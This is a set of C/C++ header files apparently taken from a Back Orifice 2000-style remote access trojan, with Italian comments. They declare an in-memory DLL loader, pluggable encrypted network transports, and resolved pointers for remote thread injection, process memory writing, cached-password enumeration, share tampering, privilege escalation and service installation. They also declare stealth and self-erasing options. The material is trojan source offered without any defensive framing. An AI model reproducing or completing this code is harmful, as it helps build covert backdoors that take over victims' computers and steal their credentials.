int IssueAuthCommandReply(CAuthSocket *cas_from, int comid, int nReplyCode, const char *svReply);

#endif

#endif

/*  file config.h. */

#ifndef __INC_CONFIG_H

#define __INC_CONFIG_H

char *GetCfgStr(char *cfgstr,const char *key);

int GetCfgNum(char *cfgstr,const char *key);

int GetCfgBool(char *cfgstr,const char *key);

#endif

*  file dll_load.h. */

#ifndef __INC_DLL_LOAD_H

#define __INC_DLL_LOAD_H

#include<windows.h>

#define NTSIGNATURE(ptr) ((LPVOID)((BYTE *)(ptr) + ((PIMAGE_DOS_HEADER)(ptr))->e_lfanew))

#define SIZE_OF_NT_SIGNATURE (sizeof(DWORD))

#define PEFHDROFFSET(ptr) ((LPVOID)((BYTE *)(ptr)+((PIMAGE_DOS_HEADER)(ptr))->e_lfanew+SIZE_OF_NT_SIGNATURE))

#define OPTHDROFFSET(ptr) ((LPVOID)((BYTE *)(ptr)+((PIMAGE_DOS_HEADER)(ptr))->e_lfanew+SIZE_OF_NT_SIGNATURE+sizeof(IMAGE_FILE_HEADER)))

#define SECHDROFFSET(ptr) ((LPVOID)((BYTE *)(ptr)+((PIMAGE_DOS_HEADER)(ptr))->e_lfanew+SIZE_OF_NT_SIGNATURE+sizeof(IMAGE_FILE_HEADER)+sizeof(IMAGE_OPTIONAL_HEADER)))

#define RVATOVA(base,offset) ((LPVOID)((DWORD)(base)+(DWORD)(offset)))

#define VATORVA(base,offset) ((LPVOID)((DWORD)(offset)-(DWORD)(base)))

#define SIZE_OF_PARAMETER_BLOCK 4096

#define IMAGE_PARAMETER_MAGIC 0xCDC31337

#define MAX_DLL_PROCESSES 256

#define DLL_ATTACH 0

#define DLL_DETACH 1

// NEW FLAGS

#define REBIND_IMAGE_IMPORTS 0x00000100

#define RWX_PERMISSIONS 0x00000200

#define FORCE_LOAD_NEW_IMAGE 0x00000400

// Tipi Importati di funzioni

typedef HMODULE TYPEOF_GetDLLHandle(const char *svName);

typedef DWORD TYPEOF_GetDLLFileName(HMODULE hModule, LPTSTR lpFileName, DWORD nSize);

typedef FARPROC TYPEOF_GetDLLProcAddress(HMODULE hModule, LPCSTR lpProcName);

typedef FARPROC TYPEOF_SetDLLProcAddress(HMODULE hModule, LPCSTR lpProcName, FARPROC fpAddr);

typedef BOOL TYPEOF_ResetDLLProcAddress(HMODULE hModule, LPCSTR lpProcName);

typedef HMODULE TYPEOF_LoadDLLFromImage(void *pDLLFileImage, const char *svMappingName, DWORD dwFlags);

typedef HMODULE TYPEOF_LoadDLLEx(LPCTSTR lpLibFileName, HANDLE hFile, DWORD dwFlags);

typedef HMODULE TYPEOF_LoadDLL(LPCTSTR lpLibFileName);

typedef BOOL TYPEOF_FreeDLL(HMODULE hLibModule);

#ifdef __BO2KSERVER__

// funzioni interne

BOOL MapDLLFromImage(void *pDLLFileImage, void *pMemoryImage);

BOOL PrepareDLLImage(void *pMemoryImage, DWORD dwImageSize, BOOL bResolve, BOOL bRebind);

// funzioni primarie

void InitializeDLLLoad(void);

void KillDLLLoad(void);

HMODULE GetDLLHandle(const char *svName);

DWORD GetDLLFileName(HMODULE hModule, LPTSTR lpFileName, DWORD nSize);

FARPROC GetDLLProcAddress(HMODULE hModule, LPCSTR lpProcName);

FARPROC SetDLLProcAddress(HMODULE hModule, LPCSTR lpProcName, FARPROC fpAddr);

BOOL ResetDLLProcAddress(HMODULE hModule, LPCSTR lpProcName);

HMODULE LoadDLLFromImage(void *pDLLFileImage, const char *svMappingName, DWORD dwFlags);

HMODULE LoadDLLEx(LPCTSTR lpLibFileName, HANDLE hFile, DWORD dwFlags);

HMODULE LoadDLL(LPCTSTR lpLibFileName);

BOOL FreeDLL(HMODULE hLibModule);

#endif

#endif

/*  file encryption.h */

#ifndef __INC_ENCRYPTION_H

#define __INC_ENCRYPTION_H

// Encryption interface

#include<windows.h>

#pragma pack(push, 1)

typedef struct {


int (__cdecl *pInsert)(void);


int (__cdecl *pRemove)(void);


char *(__cdecl *pQuery)(void);


void *(__cdecl *pStartup)(void);


int (__cdecl *pShutdown)(void *pInternal);


int (__cdecl *pSetEncryptKey)(void *pInternal, const char *svKey);


int (__cdecl *pSetDecryptKey)(void *pInternal, const char *svKey);


char *(__cdecl *pGetEncryptKey)(void *pInternal);


char *(__cdecl *pGetDecryptKey)(void *pInternal);


BYTE *(__cdecl *pEncrypt)(void *pInternal, BYTE *pBuffer,int nBufLen,int *pnOutBufLen);


BYTE *(__cdecl *pDecrypt)(void *pInternal, BYTE *pBuffer,int nBufLen,int *pnOutBufLen);


int (__cdecl *pCreateNewKeys)(void *pInternal);


void (__cdecl *pFree)(void *pInternal, BYTE *pBuffer);

} ENCRYPTION_ENGINE;

#pragma pack(pop)

#define INVALID_ENCRYPTION_ENGINE ((ENCRYPTION_ENGINE *)NULL)

#define MAX_ENCRYPTION_ENGINES 8

class CEncryptionHandler {

protected:


ENCRYPTION_ENGINE *m_EncryptionEngine[MAX_ENCRYPTION_ENGINES];

public:


CEncryptionHandler();


virtual ~CEncryptionHandler();


virtual int Insert(ENCRYPTION_ENGINE *engine);


virtual int GetEngineCount(void);


virtual ENCRYPTION_ENGINE *GetEngine(int nEngine);


virtual ENCRYPTION_ENGINE *GetEngineByID(const char *svID);


virtual char *Query(int nEngine);


virtual int Remove(int nEngine);

};

class CEncryptionEngine {

protected:


ENCRYPTION_ENGINE *m_pEngine;


void *m_pData;

public:


CEncryptionEngine(ENCRYPTION_ENGINE *pEngine);


virtual ~CEncryptionEngine();


virtual char *Query(void);


virtual int Startup(void);


virtual int Shutdown(void);


virtual int SetEncryptKey(const char *pKey);


virtual int SetDecryptKey(const char *pKey);


virtual char *GetEncryptKey(void);


virtual char *GetDecryptKey(void);


virtual BYTE *Encrypt(BYTE *pBuffer,int nBufLen, int *pnOutBufLen);


virtual BYTE *Decrypt(BYTE *pBuffer,int nBufLen, int *pnOutBufLen);


virtual int CreateNewKeys(void);


virtual void Free(BYTE *pBuffer);

};

#endif

/*  file functions.h */

#ifndef __INC_FUNCTIONS_H

#define __INC_FUNCTIONS_H

#include<windows.h>

#include<windef.h>

#include<winsvc.h>

#include<lmcons.h>

#include<lmshare.h>

#include<tlhelp32.h>

struct PASSWORD_CACHE_ENTRY {

    WORD cbEntry;  

    WORD cbResource;

    WORD cbPassword;

    BYTE iEntry;    

    BYTE nType;     

    char abResource[1];

};

typedef BOOL (WINAPI *MODULEWALK)(HANDLE hSnapshot, LPMODULEENTRY32 lpme); 

typedef BOOL (WINAPI *THREADWALK)(HANDLE hSnapshot, LPTHREADENTRY32 lpte); 

typedef BOOL (WINAPI *PROCESSWALK)(HANDLE hSnapshot, LPPROCESSENTRY32 lppe); 

typedef HANDLE (WINAPI *CREATESNAPSHOT)(DWORD dwFlags, DWORD th32ProcessID); 

typedef DWORD (WINAPI *REGSERVICEPROC)(DWORD dwProcessId, DWORD dwServiceType); 

typedef HANDLE (WINAPI *CREATEREMOTETHREAD)(HANDLE hProcess, LPSECURITY_ATTRIBUTES lpThreadAttributes, DWORD dwStackSize, LPTHREAD_START_ROUTINE lpStartAddress, LPVOID lpParameter, DWORD dwCreationFlags, LPDWORD lpThreadId);

typedef LPVOID (WINAPI *VIRTUALALLOCEX)(HANDLE hProcess, LPVOID lpAddress, DWORD dwSize, DWORD flAllocationType, DWORD flProtect);

typedef BOOL (WINAPI *VIRTUALFREEEX)(HANDLE hProcess, LPVOID lpAddress, DWORD dwSize, DWORD dwFreeType);

typedef BOOL (WINAPI *VIRTUALPROTECTEX)(HANDLE hProcess, LPVOID lpAddress, DWORD dwSize, DWORD flNewProtect, PDWORD lpflOldProtect);

typedef DWORD (WINAPI *VIRTUALQUERYEX)(HANDLE hProcess, LPCVOID lpAddress, PMEMORY_BASIC_INFORMATION lpBuffer, DWORD dwLength);

typedef BOOL (FAR PASCAL *CACHECALLBACK)( struct PASSWORD_CACHE_ENTRY FAR *pce, DWORD dwRefData );

typedef DWORD (WINAPI *ENUMPASSWORD)(LPSTR pbPrefix, WORD  cbPrefix, BYTE  nType, CACHECALLBACK pfnCallback, DWORD dwRefData);

typedef DWORD (WINAPI *WNETCLOSEENUM)(HANDLE henum);

typedef DWORD (WINAPI *WNETENUMRESOURCE)(HANDLE henum, LPDWORD lpcCount, LPVOID lpBuffer, LPDWORD lpBufferSize );

typedef DWORD (WINAPI *WNETOPENENUM)(DWORD dwScope, DWORD dwType, DWORD dwUsage, LPNETRESOURCE lpNetResource, LPHANDLE lphEnum );

typedef DWORD (WINAPI *WNETCANCELCONNECTION2)(LPCSTR lpName, DWORD dwFlags, BOOL fForce);

typedef DWORD (WINAPI *WNETADDCONNECTION2)(LPNETRESOURCEA lpNetResource, LPCSTR lpPassword, LPCSTR lpUserName, DWORD dwFlags);

typedef NET_API_STATUS (NET_API_FUNCTION *LMS_NETSESSIONENUM)(IN LPWSTR servername OPTIONAL, IN LPWSTR UncClientName OPTIONAL, IN LPWSTR username OPTIONAL, IN DWORD level, OUT LPBYTE *bufptr,IN DWORD prefmaxlen, OUT LPDWORD entriesread, OUT LPDWORD totalentries, IN OUT LPDWORD resume_handle OPTIONAL);

typedef NET_API_STATUS (NET_API_FUNCTION *LMS_NETSHAREENUM)(IN LPWSTR servername, IN DWORD level, OUT LPBYTE *bufptr, IN DWORD prefmaxlen, OUT LPDWORD entriesread, OUT LPDWORD totalentries, IN OUT LPDWORD resume_handle);

typedef NET_API_STATUS (NET_API_FUNCTION *LMS_NETSHAREDEL)(IN LPWSTR servername, IN LPWSTR netname, IN DWORD reserved);

typedef NET_API_STATUS (NET_API_FUNCTION *LMS_NETSHAREADD)(IN  LPWSTR  servername, IN  DWORD   level, IN  LPBYTE  buf, OUT LPDWORD parm_err);

typedef NET_API_STATUS (NET_API_FUNCTION *LMS_NETAPIBUFFERFREE)(IN LPVOID Buffer);

typedef DWORD (WINAPI *SVR_NETSESSIONENUM)(const char FAR *pszServer, short sLevel, char FAR *pbBuffer, unsigned short cbBuffer, unsigned short FAR * pcEntriesRead, unsigned short FAR * pcTotalAvail);

typedef DWORD (WINAPI *SVR_NETSHAREENUM)(const char FAR *pszServer, short sLevel, char FAR *pbBuffer, unsigned short cbBuffer, unsigned short FAR * pcEntriesRead, unsigned short FAR * pcTotalAvail);

typedef DWORD (WINAPI *SVR_NETSHAREDEL)(const char FAR *pszServer, const char FAR *pszNetName, unsigned short usReserved);

typedef DWORD (WINAPI *SVR_NETSHAREADD)(const char FAR * pszServer, short sLevel, const char FAR * pbBuffer, unsigned short cbBuffer);

typedef LONG (WINAPI *REGSETKEYSECURITY)(HKEY hKey,SECURITY_INFORMATION SecurityInformation, PSECURITY_DESCRIPTOR pSecurityDescriptor);

typedef BOOL (WINAPI *SETSECURITYDESCRIPTORDACL)(PSECURITY_DESCRIPTOR pSecurityDescriptor, BOOL bDaclPresent, PACL pDacl, BOOL bDaclDefaulted);

typedef BOOL (WINAPI *GETACE)(PACL pAcl, DWORD dwAceIndex, LPVOID *pAce);

typedef BOOL (WINAPI *ADDACCESSALLOWEDACE)(PACL pAcl, DWORD dwAceRevision, DWORD AccessMask, PSID pSid);

typedef BOOL (WINAPI *INITIALIZEACL)(PACL pAcl, DWORD nAclLength, DWORD dwAclRevision);

typedef BOOL (WINAPI *INITIALIZESECURITYDESCRIPTOR)(PSECURITY_DESCRIPTOR pSecurityDescriptor, DWORD dwRevision);

typedef DWORD (WINAPI *GETLENGTHSID)(PSID pSid);

typedef BOOL (WINAPI *LOOKUPACCOUNTNAME)(LPCTSTR lpSystemName, LPCTSTR lpAccountName, PSID Sid, LPDWORD cbSid, LPTSTR ReferencedDomainName, LPDWORD cbReferencedDomainName, PSID_NAME_USE peUse);

typedef BOOL (WINAPI *LOOKUPACCOUNTSID)(LPCTSTR lpSystemName, PSID Sid, LPTSTR Name, LPDWORD cbName, LPTSTR ReferencedDomainName, LPDWORD cbReferencedDomainName, PSID_NAME_USE peUse);

typedef BOOL (WINAPI *GETSECURITYDESCRIPTORDACL)(PSECURITY_DESCRIPTOR pSecurityDescriptor, LPBOOL lpbDaclPresent, PACL *pDacl, LPBOOL lpbDaclDefaulted);

typedef BOOL (WINAPI *GETSECURITYDESCRIPTORGROUP)(PSECURITY_DESCRIPTOR pSecurityDescriptor, PSID *pGroup, LPBOOL lpbGroupDefaulted);

typedef BOOL (WINAPI *GETSECURITYDESCRIPTOROWNER)(PSECURITY_DESCRIPTOR pSecurityDescriptor, PSID *pOwner, LPBOOL lpbOwnerDefaulted); 

typedef BOOL (WINAPI *OPENPROCESSTOKEN)(HANDLE ProcessHandle, DWORD DesiredAccess, PHANDLE TokenHandle);

typedef BOOL (WINAPI *LOOKUPPRIVILEGEVALUE)(LPCSTR lpSystemName, LPCSTR lpName, PLUID lpLuid);

typedef BOOL (WINAPI *ADJUSTTOKENPRIVILEGES)(HANDLE TokenHandle, BOOL DisableAllPrivileges, PTOKEN_PRIVILEGES NewState, DWORD BufferLength, PTOKEN_PRIVILEGES PreviousState, PDWORD ReturnLength);

typedef LONG (WINAPI *REGGETKEYSECURITY)(HKEY hKey, SECURITY_INFORMATION SecurityInformation, PSECURITY_DESCRIPTOR pSecurityDescriptor, LPDWORD lpcbSecurityDescriptor);

typedef SC_HANDLE (WINAPI *OPENSCMANAGER)(LPCSTR lpMachineName,LPCSTR lpDatabaseName,DWORD dwDesiredAccess);

typedef SC_HANDLE (WINAPI *CREATESERVICE)(SC_HANDLE hSCManager, LPCSTR lpServiceName, LPCSTR lpDisplayName, DWORD dwDesiredAccess, DWORD dwServiceType, DWORD dwStartType, DWORD dwErrorControl, LPCSTR lpBinaryPathName, LPCSTR lpLoadOrderGroup, LPDWORD lpdwTagId, LPCSTR lpDependencies, LPCSTR lpServiceStartName, LPCSTR lpPassword);

typedef BOOL (WINAPI *CLOSESERVICEHANDLE)(SC_HANDLE hSCObject);

typedef SC_HANDLE (WINAPI *OPENSERVICE)(SC_HANDLE hSCManager, LPCSTR lpServiceName, DWORD dwDesiredAccess);

typedef BOOL (WINAPI *STARTSERVICECTRLDISPATCHER)(CONST SERVICE_TABLE_ENTRYA *lpServiceStartTable);

typedef SERVICE_STATUS_HANDLE (WINAPI *REGISTERSERVICECTRLHANDLER)(LPCSTR lpServiceName, LPHANDLER_FUNCTION lpHandlerProc);

typedef BOOL (WINAPI *SETSERVICESTATUS)(SERVICE_STATUS_HANDLE hServiceStatus, LPSERVICE_STATUS lpServiceStatus);

typedef BOOL (WINAPI *DELETESERVICE)(SC_HANDLE hService);

typedef BOOL (WINAPI *GETSERVICEDISPLAYNAME)(SC_HANDLE hSCManager, LPCSTR lpServiceName, LPSTR lpDisplayName, LPDWORD lpcchBuffer);

typedef BOOL (WINAPI *STARTSERVICE)(SC_HANDLE hService, DWORD dwNumServiceArgs, LPCSTR *lpServiceArgVectors);

#ifdef __POKSERVER__

extern CREATESNAPSHOT pCreateToolhelp32Snapshot; 

extern MODULEWALK  pModule32First; 

extern MODULEWALK  pModule32Next; 

extern PROCESSWALK pProcess32First;

extern PROCESSWALK pProcess32Next;

extern THREADWALK  pThread32First;

extern THREADWALK  pThread32Next;

extern REGSERVICEPROC pRegisterServiceProcess;

extern CREATEREMOTETHREAD pCreateRemoteThread;

extern VIRTUALALLOCEX pVirtualAllocEx;

extern VIRTUALFREEEX pVirtualFreeEx;

extern VIRTUALQUERYEX pVirtualQueryEx;

extern VIRTUALPROTECTEX pVirtualProtectEx;

extern ENUMPASSWORD pWNetEnumCachedPasswords;

extern WNETCLOSEENUM pWNetCloseEnum;

extern WNETENUMRESOURCE pWNetEnumResource;

extern WNETOPENENUM pWNetOpenEnum;

extern WNETCANCELCONNECTION2 pWNetCancelConnection2;

extern WNETADDCONNECTION2 pWNetAddConnection2;

extern LMS_NETSESSIONENUM pLMSNetSessionEnum;

extern LMS_NETSHAREENUM pLMSNetShareEnum;

extern LMS_NETSHAREDEL pLMSNetShareDel;

extern LMS_NETSHAREADD pLMSNetShareAdd;

extern LMS_NETAPIBUFFERFREE pLMSNetApiBufferFree;

extern SVR_NETSESSIONENUM pSVRNetSessionEnum;

extern SVR_NETSHAREENUM pSVRNetShareEnum;

extern SVR_NETSHAREDEL pSVRNetShareDel;

extern SVR_NETSHAREADD pSVRNetShareAdd;

extern REGSETKEYSECURITY pRegSetKeySecurity;

extern SETSECURITYDESCRIPTORDACL pSetSecurityDescriptorDacl;

extern GETACE pGetAce;

extern ADDACCESSALLOWEDACE pAddAccessAllowedAce;

extern INITIALIZEACL pInitializeAcl;

extern INITIALIZESECURITYDESCRIPTOR pInitializeSecurityDescriptor;

extern GETLENGTHSID pGetLengthSid;

extern LOOKUPACCOUNTNAME pLookupAccountName;

extern LOOKUPACCOUNTSID pLookupAccountSid;

extern GETSECURITYDESCRIPTORDACL pGetSecurityDescriptorDacl;

extern GETSECURITYDESCRIPTORGROUP pGetSecurityDescriptorGroup;

extern GETSECURITYDESCRIPTOROWNER pGetSecurityDescriptorOwner;

extern OPENPROCESSTOKEN pOpenProcessToken;

extern LOOKUPPRIVILEGEVALUE pLookupPrivilegeValue;

extern ADJUSTTOKENPRIVILEGES pAdjustTokenPrivileges;

extern REGGETKEYSECURITY pRegGetKeySecurity;

extern OPENSCMANAGER pOpenSCManager;

extern CREATESERVICE pCreateService;

extern CLOSESERVICEHANDLE pCloseServiceHandle;

extern OPENSERVICE pOpenService;

extern STARTSERVICE pStartService;

extern STARTSERVICECTRLDISPATCHER pStartServiceCtrlDispatcher;

extern REGISTERSERVICECTRLHANDLER pRegisterServiceCtrlHandler;

extern SETSERVICESTATUS pSetServiceStatus;

extern DELETESERVICE pDeleteService;

extern GETSERVICEDISPLAYNAME pGetServiceDisplayName;

int InitDynamicLibraries(void);

int KillDynamicLibraries(void);

#endif

#endif

/* file iohandler.h . */

#ifndef __INC_IOHANDLER_H

#define __INC_IOHANDLER_H

#include<windows.h>

#define MAX_IO_HANDLERS 8

#define INVALID_IO_HANDLER ((IO_HANDLER *) NULL)

// Socket class

#pragma pack(push, 1)

// Struttura del manipolatore di IO

typedef struct {


char *(__cdecl *pQuery)(void);


int (__cdecl *pInsert)(void);


int (__cdecl *pRemove)(void);


void *(__cdecl *pListen)(const char *svTarget);


void *(__cdecl *pConnect)(const char *svTarget);


void *(__cdecl *pAccept)(void *pInternal, char *svAddr, int nMaxLen);


int (__cdecl *pClose)(void *pInternal);


int (__cdecl *pRecv)(void *pInternal, BYTE **pInData, int *pnInDataLen);


int (__cdecl *pSend)(void *pInternal, const BYTE *pData, int nDataLen);


void  (__cdecl *pFree)(void *pInternal, BYTE *pBuffer);


int (__cdecl *pGetConnectAddr)(void *pInternal, char *svTarget, int nMaxLen);

} IO_HANDLER;

#pragma pack(pop)

class CIOSocket {

private:


IO_HANDLER *m_pHandler;


void *m_pData;


char m_svRmtAddr[256];

public:


CIOSocket(IO_HANDLER *pHandler);


virtual ~CIOSocket();


virtual int Listen(const char *svTarget);


virtual int Connect(const char *svTarget);


virtual CIOSocket *Accept(void);


virtual int Close(void);


virtual int Recv(BYTE **pInData, int *pnInDataLen);


virtual int Send(const BYTE *pData, int nDataLen);


virtual void Free(BYTE *pBuffer);


virtual int GetRemoteAddr(char *svAddr,int nMaxLen);


virtual int GetConnectAddr(char *svAddr,int nMaxLen);

};

// manager del manipolatore delle funzioni di IO

class CIOHandler {

private:


IO_HANDLER *m_IOHandler[MAX_IO_HANDLERS];

public:


CIOHandler();


virtual ~CIOHandler();


virtual int Insert(IO_HANDLER *handler);


virtual int Remove(int handlernum);


virtual char *Query(int nHandler);


virtual int GetHandlerCount(void);


virtual IO_HANDLER *GetHandler(int nHandler);


virtual IO_HANDLER *GetHandlerByID(const char *svID);

};

#endif

//file linkage.h

#ifndef __INC_LINKAGE_H

#define __INC_LINKAGE_H

#include<auth.h>

#include<encryption.h>

#include<iohandler.h>

#include<bocomreg.h>

#include<dll_load.h>

#include<commnet.h>

#include<commandloop.h>

#include<functions.h>

#include<pviewer.h>

#include<plugins.h>

typedef struct __plugin_version {


char *svFilename;


char *svDescription;


WORD wVersionLo;


WORD wVersionHi;


WORD wpokVersionLo;


WORD wpokVersionHi;


DWORD dwFlags;

} PLUGIN_VERSION;

#define PVF_SERVER 2

#define PVF_CLIENT 1

typedef int (TYPEOF_ClientMenu)(HWND hParent);

typedef int (TYPEOF_RegisterClientMenu)(LPCSTR szCategory, LPCSTR szComName, TYPEOF_ClientMenu *pProc);

typedef int (TYPEOF_UnregisterClientMenu)(LPCSTR szCategory, LPCSTR szComName);

typedef struct __plugin_linkage {


// generale


WORD wpokVerLo;


WORD wpokVerHi;


void *pBaseAddress;


BOOL *pbEradicate;


BOOL *pbpokFinished;


BOOL *pbRestart;


char *svRestartProcess;


char *svStartupOptions;


CAuthSocket **ppCommSock;


int *pnCommCount;


CAuthSocket **ppConnSock;


int *pnConnCount;


CEncryptionHandler



*pEncryptionHandler;


CIOHandler




*pIOHandler;


CAuthHandler




*pAuthHandler;


TYPEOF_ConnectAuthSocket


*pConnectAuthSocket;


TYPEOF_ListenAuthSocket


*pListenAuthSocket;


INTERACTIVE_LISTEN



*pInteractiveListen;


INTERACTIVE_CONNECT


*pInteractiveConnect;


pok_CMD_HANDLER *command_handler_table;


pok_CMD_DESC *command_description_table;


TYPEOF_RegisterCommand


*pRegisterCommand;


TYPEOF_UnregisterCommand


*pUnregisterCommand;


TYPEOF_RegisterClientMenu


*pRegisterClientMenu;


TYPEOF_UnregisterClientMenu


*pUnregisterClientMenu;


TYPEOF_DispatchCommand


*pDispatchCommand;


// Commenti


TYPEOF_BreakDownCommand


*pBreakDownCommand;


TYPEOF_BuildCommandRequest


*pBuildCommandRequest;


TYPEOF_BuildCommandReply


*pBuildCommandReply;


TYPEOF_FreeCommandMemory


*pFreeCommandMemory;


TYPEOF_IssueAuthCommandRequest

*pIssueAuthCommandRequest;


TYPEOF_IssueAuthCommandReply

*pIssueAuthCommandReply;


// visualizzatore


TYPEOF_CreateProcListSnapshot


*pCreateProcListSnapshot;


TYPEOF_DestroyProcListSnapshot

*pDestroyProcListSnapshot;


// PLUGIN


TYPEOF_AddPlugin



*pAddPlugin;


TYPEOF_DebugPlugin



*pDebugPlugin;


TYPEOF_RemovePlugin



*pRemovePlugin;


TYPEOF_GetPlugin



*pGetPlugin;


// DLL_LOAD


TYPEOF_GetDLLHandle



*pGetDLLHandle;


TYPEOF_GetDLLFileName


*pGetDLLFileName;


TYPEOF_GetDLLProcAddress


*pGetDLLProcAddress;


TYPEOF_SetDLLProcAddress


*pSetDLLProcAddress;


TYPEOF_ResetDLLProcAddress


*pResetDLLProcAddress;


TYPEOF_LoadDLLFromImage


*pLoadDLLFromImage;


TYPEOF_LoadDLLEx



*pLoadDLLEx;


TYPEOF_LoadDLL



*pLoadDLL;


TYPEOF_FreeDLL



*pFreeDLL;


// Specifiche delle risorse del sistema operativo


union {



struct _win {




BOOL bIsWinNT;




CREATESNAPSHOT pCreateToolhelp32Snapshot; 




MODULEWALK  pModule32First; 




MODULEWALK  pModule32Next; 




PROCESSWALK pProcess32First; 




PROCESSWALK pProcess32Next; 




THREADWALK  pThread32First; 




THREADWALK  pThread32Next; 




REGSERVICEPROC pRegisterServiceProcess;




CREATEREMOTETHREAD pCreateRemoteThread;




VIRTUALALLOCEX pVirtualAllocEx;




VIRTUALFREEEX pVirtualFreeEx;




VIRTUALQUERYEX pVirtualQueryEx;




VIRTUALPROTECTEX pVirtualProtectEx;




ENUMPASSWORD pWNetEnumCachedPasswords;




WNETCLOSEENUM pWNetCloseEnum;




WNETENUMRESOURCE pWNetEnumResource;




WNETOPENENUM pWNetOpenEnum;




WNETCANCELCONNECTION2 pWNetCancelConnection2;




WNETADDCONNECTION2 pWNetAddConnection2;




LMS_NETSESSIONENUM pLMSNetSessionEnum;




LMS_NETSHAREENUM pLMSNetShareEnum;




LMS_NETSHAREDEL pLMSNetShareDel;




LMS_NETSHAREADD pLMSNetShareAdd;




LMS_NETAPIBUFFERFREE pLMSNetApiBufferFree;




SVR_NETSESSIONENUM pSVRNetSessionEnum;




SVR_NETSHAREENUM pSVRNetShareEnum;




SVR_NETSHAREDEL pSVRNetShareDel;




SVR_NETSHAREADD pSVRNetShareAdd;




REGSETKEYSECURITY pRegSetKeySecurity;




SETSECURITYDESCRIPTORDACL pSetSecurityDescriptorDacl;




GETACE pGetAce;




ADDACCESSALLOWEDACE pAddAccessAllowedAce;




INITIALIZEACL pInitializeAcl;




INITIALIZESECURITYDESCRIPTOR pInitializeSecurityDescriptor;




GETLENGTHSID pGetLengthSid;




LOOKUPACCOUNTNAME pLookupAccountName;




LOOKUPACCOUNTSID pLookupAccountSid;




GETSECURITYDESCRIPTORDACL pGetSecurityDescriptorDacl;




GETSECURITYDESCRIPTORGROUP pGetSecurityDescriptorGroup;




GETSECURITYDESCRIPTOROWNER pGetSecurityDescriptorOwner;




OPENPROCESSTOKEN pOpenProcessToken;




LOOKUPPRIVILEGEVALUE pLookupPrivilegeValue;




ADJUSTTOKENPRIVILEGES pAdjustTokenPrivileges;




REGGETKEYSECURITY pRegGetKeySecurity;




OPENSCMANAGER pOpenSCManager;




CREATESERVICE pCreateService;




CLOSESERVICEHANDLE pCloseServiceHandle;




OPENSERVICE
pOpenService;




STARTSERVICECTRLDISPATCHER pStartServiceCtrlDispatcher;




REGISTERSERVICECTRLHANDLER pRegisterServiceCtrlHandler;




SETSERVICESTATUS pSetServiceStatus;




DELETESERVICE pDeleteService;




GETSERVICEDISPLAYNAME pGetServiceDisplayName;




STARTSERVICE pStartService;



} win;


};

} PLUGIN_LINKAGE;

#endif

/*  file lzhcompress.h */

#ifndef __INC_LZHCOMPRESS_H

#define __INC_LZHCOMPRESS_H

#include<windows.h>

#include<limits.h>

#define N       4096    /* dimensione del buffer  */

#define F       60  /* Cerca intestazione del file */

#define THRESHOLD   2

#define NIL     N   /* foglia dell’albero */

#define N_CHAR      (256 - THRESHOLD + F)

                /* Tipi di carattere (character code = 0..N_CHAR-1) */

#define T       (N_CHAR * 2 - 1)    /* dimensione della tabella */

#define R       (T - 1)         /* posizione della radice */

#define MAX_FREQ    0x8000     

class CLzhCompress {

private:


unsigned long int  textsize, codesize;


BYTE text_buf[N + F - 1];


short match_position, match_length, lson[N + 1], rson[N + 257], dad[N + 1];


//implementazione del  codice di Huffman


WORD freq[T + 1];



/* tabella delle frequenze */


short prnt[T + N_CHAR];



/* puntatore ai nodi parenti */








/* elementi [T..T + N_CHAR - 1] usati per rilevare */








/* la posizione delle foglie corrispondenti al codice. */


short son[T];




/* puntatore ai nodi figli (son[], son[] + 1) */


WORD getbuf;


BYTE getlen;


WORD putbuf;


BYTE putlen;


WORD code, len;


HANDLE hFileIn, hFileOut;


BYTE *pMemIn, **ppMemOut;


int nMemInSize, nMemRealAlloc, *pnMemOutSize;


int nMemInOff, nMemOutOff;


int freeze_type;

protected:


void InitTree(void);



// inizializza albero 


void InsertNode(short r);



// inserisce nell’albero 


void DeleteNode(short p);



// rimuove dall’albero 


WORD GetBit(void);



// prende un bit


WORD GetByte(void);



// prende un byte

void Putcode(short l, WORD c);


void StartHuff(void);


void reconst(void);


void update(short c);


void EncodeChar(WORD c);


void EncodePosition(WORD c);


void EncodeEnd(void);


short DecodeChar(void);


short DecodePosition(void);


void Encode(void);



// compressione

void Decode(void);



// recupero

int fnc_read_file(BYTE *pBuffer, int nLen);


int fnc_write_file(BYTE *pBuffer, int nLen);


int fnc_read_memory(BYTE *pBuffer, int nLen);


int fnc_write_memory(BYTE *pBuffer, int nLen);


int fnc_write(BYTE *ptr, int len);


int fnc_read(BYTE *ptr, int len);


int fnc_getc(void);


int fnc_putc(int val);


int lzh_freeze(void);

public:


int lzh_freeze_file(const char *szInFile, const char *szOutFile);


int lzh_freeze_memory(void *pInBuffer, int nInBufLen, void **ppOutBuf, int *pnOutBufLen);


int lzh_melt_file(const char *szInFile, const char *szOutFile);


int lzh_melt_memory(void *pInBuffer, int nInBufLen, void **ppOutBuf, int *pnOutBufLen);


int
lzh_free_memory(void **ppOutBuf);

};

#endif

/*  file main.h. */

#ifndef __INC_MAIN_H

#define __INC_MAIN_H

#include<windows.h>

extern DWORD WINAPI EntryPoint(LPVOID lpParameter);

extern HMODULE g_module;

extern HANDLE g_hfm;

extern char g_svStealthOptions[];

extern BOOL g_bRestart;

extern char g_svRestartProcess[64];

extern BOOL g_bEradicate;

#endif

/*  file nt_pviewer.h */

#ifndef __INC_NT_PVIEWER_H

#define __INC_NT_PVIEWER_H

#include<windows.h>

#include<pviewer.h>

PROCESSINFO *NtProcList_BuildSnapShot(void);

int NtProcList_ConnectComputer(const char *svName);

#endif

/*  osversion.h . */

#ifndef __INC_OSVERSION_H

#define __INC_OSVERSION_H

#include<windows.h>

extern BOOL g_bIsWinNT;

void GetOSVersion(void);

#endif

/*  file perfdata.h  */

#ifndef __INC_PERFDATA_H

#define __INC_PERFDATA_H

typedef PERF_DATA_BLOCK             PERF_DATA,      *PPERF_DATA; 

typedef PERF_OBJECT_TYPE            PERF_OBJECT,    *PPERF_OBJECT; 

typedef PERF_INSTANCE_DEFINITION    PERF_INSTANCE,  *PPERF_INSTANCE; 

typedef PERF_COUNTER_DEFINITION     PERF_COUNTER,   *PPERF_COUNTER; 

DWORD   GetPerfData (HKEY       hPerfKey, 

                     LPTSTR     szObjectIndex, 

                     PPERF_DATA *ppData, 

                     DWORD      *pDataSize); 

DWORD   GetPerfTitleSz (HKEY       hKeyMachine, 

                        HKEY       hKeyPerf, 

                        LPTSTR     *TitleBuffer, 

                        LPTSTR     *TitleSz[], 

                        DWORD      *TitleLastIdx); 

PPERF_OBJECT    FirstObject (PPERF_DATA pData); 

PPERF_OBJECT    NextObject (PPERF_OBJECT pObject); 

